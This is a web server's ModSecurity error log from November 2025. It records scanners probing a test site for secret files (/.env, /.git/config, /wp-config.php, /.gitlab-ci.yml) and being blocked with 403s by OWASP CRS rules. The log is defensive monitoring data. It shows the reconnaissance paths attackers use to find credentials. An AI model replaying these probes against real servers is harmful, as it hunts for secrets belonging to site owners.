[Thu Nov 13 03:26:04.532038 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRVBvLd65J1higIsSOf_8QAAAAU"]
[Thu Nov 13 03:26:05.027914 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aRVBvbd65J1higIsSOf_8gAAAAU"]
[Thu Nov 13 03:26:05.028334 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aRVBvbd65J1higIsSOf_8gAAAAU"]
[Thu Nov 13 03:26:05.028537 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aRVBvbd65J1higIsSOf_8gAAAAU"]
[Thu Nov 13 03:26:05.408624 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aRVBvbd65J1higIsSOf_8wAAAAU"]
[Thu Nov 13 03:26:05.409105 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aRVBvbd65J1higIsSOf_8wAAAAU"]
[Thu Nov 13 03:26:05.409320 2025] [:error] [pid 28484] [client 195.178.110.201:34362] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aRVBvbd65J1higIsSOf_8wAAAAU"]
[Thu Nov 13 09:42:50.920945 2025] [:error] [pid 28516] [client 45.144.212.58:55740] [client 45.144.212.58] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRWaCvwvLsUGojVglmNDrAAAAAY"]
[Thu Nov 13 09:42:50.921208 2025] [:error] [pid 28516] [client 45.144.212.58:55740] [client 45.144.212.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRWaCvwvLsUGojVglmNDrAAAAAY"]
[Thu Nov 13 09:42:50.921362 2025] [:error] [pid 28516] [client 45.144.212.58:55740] [client 45.144.212.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRWaCvwvLsUGojVglmNDrAAAAAY"]
[Thu Nov 13 16:11:19.490311 2025] [:error] [pid 28560] [client 52.193.107.253:41208] [client 52.193.107.253] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRX1F7rKjk6cXu6z891odwAAAAg"]
[Thu Nov 13 16:11:19.490738 2025] [:error] [pid 28560] [client 52.193.107.253:41208] [client 52.193.107.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRX1F7rKjk6cXu6z891odwAAAAg"]
[Thu Nov 13 16:11:19.490999 2025] [:error] [pid 28560] [client 52.193.107.253:41208] [client 52.193.107.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRX1F7rKjk6cXu6z891odwAAAAg"]
[Thu Nov 13 22:55:33.131384 2025] [:error] [pid 37998] [client 2.57.122.173:42254] [client 2.57.122.173] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRZT1fRvWkiaFoF138Qt2AAAAAs"]
[Thu Nov 13 22:55:33.131641 2025] [:error] [pid 37998] [client 2.57.122.173:42254] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRZT1fRvWkiaFoF138Qt2AAAAAs"]
[Thu Nov 13 22:55:33.131794 2025] [:error] [pid 37998] [client 2.57.122.173:42254] [client 2.57.122.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRZT1fRvWkiaFoF138Qt2AAAAAs"]
[Fri Nov 14 06:34:46.733368 2025] [authz_core:error] [pid 51806] [client 206.189.19.19:44546] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Nov 14 06:34:47.341955 2025] [:error] [pid 51804] [client 206.189.19.19:44578] [client 206.189.19.19] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRa_dxkPn3CaReXq-rLSCwAAAAY"]
[Fri Nov 14 06:34:47.342182 2025] [:error] [pid 51804] [client 206.189.19.19:44578] [client 206.189.19.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRa_dxkPn3CaReXq-rLSCwAAAAY"]
[Fri Nov 14 06:34:47.342358 2025] [:error] [pid 51804] [client 206.189.19.19:44578] [client 206.189.19.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRa_dxkPn3CaReXq-rLSCwAAAAY"]
[Fri Nov 14 06:34:47.459305 2025] [:error] [pid 53003] [client 206.189.19.19:44594] [client 206.189.19.19] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRa_dxGOCY9if-c6-QMwoQAAAAw"]
[Fri Nov 14 06:34:47.459516 2025] [:error] [pid 53003] [client 206.189.19.19:44594] [client 206.189.19.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRa_dxGOCY9if-c6-QMwoQAAAAw"]
[Fri Nov 14 06:34:47.459668 2025] [:error] [pid 53003] [client 206.189.19.19:44594] [client 206.189.19.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRa_dxGOCY9if-c6-QMwoQAAAAw"]
[Fri Nov 14 06:34:47.554744 2025] [:error] [pid 53002] [client 206.189.19.19:44606] [client 206.189.19.19] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRa_dzGmu4POMgYE2zsmCwAAAAU"]
[Fri Nov 14 06:34:47.554973 2025] [:error] [pid 53002] [client 206.189.19.19:44606] [client 206.189.19.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRa_dzGmu4POMgYE2zsmCwAAAAU"]
[Fri Nov 14 06:34:47.555114 2025] [:error] [pid 53002] [client 206.189.19.19:44606] [client 206.189.19.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRa_dzGmu4POMgYE2zsmCwAAAAU"]
[Fri Nov 14 12:28:03.129429 2025] [authz_core:error] [pid 53002] [client 206.189.225.181:47376] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Nov 14 12:28:04.103834 2025] [:error] [pid 58437] [client 206.189.225.181:47396] [client 206.189.225.181] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRcSRIXZZ8RRVkv6Dt6QGgAAAAI"]
[Fri Nov 14 12:28:04.104059 2025] [:error] [pid 58437] [client 206.189.225.181:47396] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRcSRIXZZ8RRVkv6Dt6QGgAAAAI"]
[Fri Nov 14 12:28:04.104216 2025] [:error] [pid 58437] [client 206.189.225.181:47396] [client 206.189.225.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aRcSRIXZZ8RRVkv6Dt6QGgAAAAI"]
[Fri Nov 14 12:28:04.388899 2025] [:error] [pid 51834] [client 206.189.225.181:47404] [client 206.189.225.181] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRcSRHOVIAryQ9tN7lWC6QAAAAo"]
[Fri Nov 14 12:28:04.389119 2025] [:error] [pid 51834] [client 206.189.225.181:47404] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRcSRHOVIAryQ9tN7lWC6QAAAAo"]
[Fri Nov 14 12:28:04.389295 2025] [:error] [pid 51834] [client 206.189.225.181:47404] [client 206.189.225.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRcSRHOVIAryQ9tN7lWC6QAAAAo"]
[Fri Nov 14 12:28:04.674905 2025] [:error] [pid 60543] [client 206.189.225.181:47408] [client 206.189.225.181] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRcSRKyHVhC_UOgfP32lgwAAAAE"]
[Fri Nov 14 12:28:04.675134 2025] [:error] [pid 60543] [client 206.189.225.181:47408] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRcSRKyHVhC_UOgfP32lgwAAAAE"]
[Fri Nov 14 12:28:04.675288 2025] [:error] [pid 60543] [client 206.189.225.181:47408] [client 206.189.225.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRcSRKyHVhC_UOgfP32lgwAAAAE"]
[Sat Nov 15 21:40:44.471623 2025] [:error] [pid 96107] [client 204.76.203.25:53858] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRjlTJBfluPpKAZP4WHacAAAAAs"]
[Sat Nov 15 21:40:44.471900 2025] [:error] [pid 96107] [client 204.76.203.25:53858] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRjlTJBfluPpKAZP4WHacAAAAAs"]
[Sat Nov 15 21:40:44.472049 2025] [:error] [pid 96107] [client 204.76.203.25:53858] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRjlTJBfluPpKAZP4WHacAAAAAs"]
[Sun Nov 16 02:42:24.985386 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRksAPCKxhCFdX33Po67DQAAAAU"]
[Sun Nov 16 02:42:24.986009 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRksAPCKxhCFdX33Po67DQAAAAU"]
[Sun Nov 16 02:42:24.986213 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRksAPCKxhCFdX33Po67DQAAAAU"]
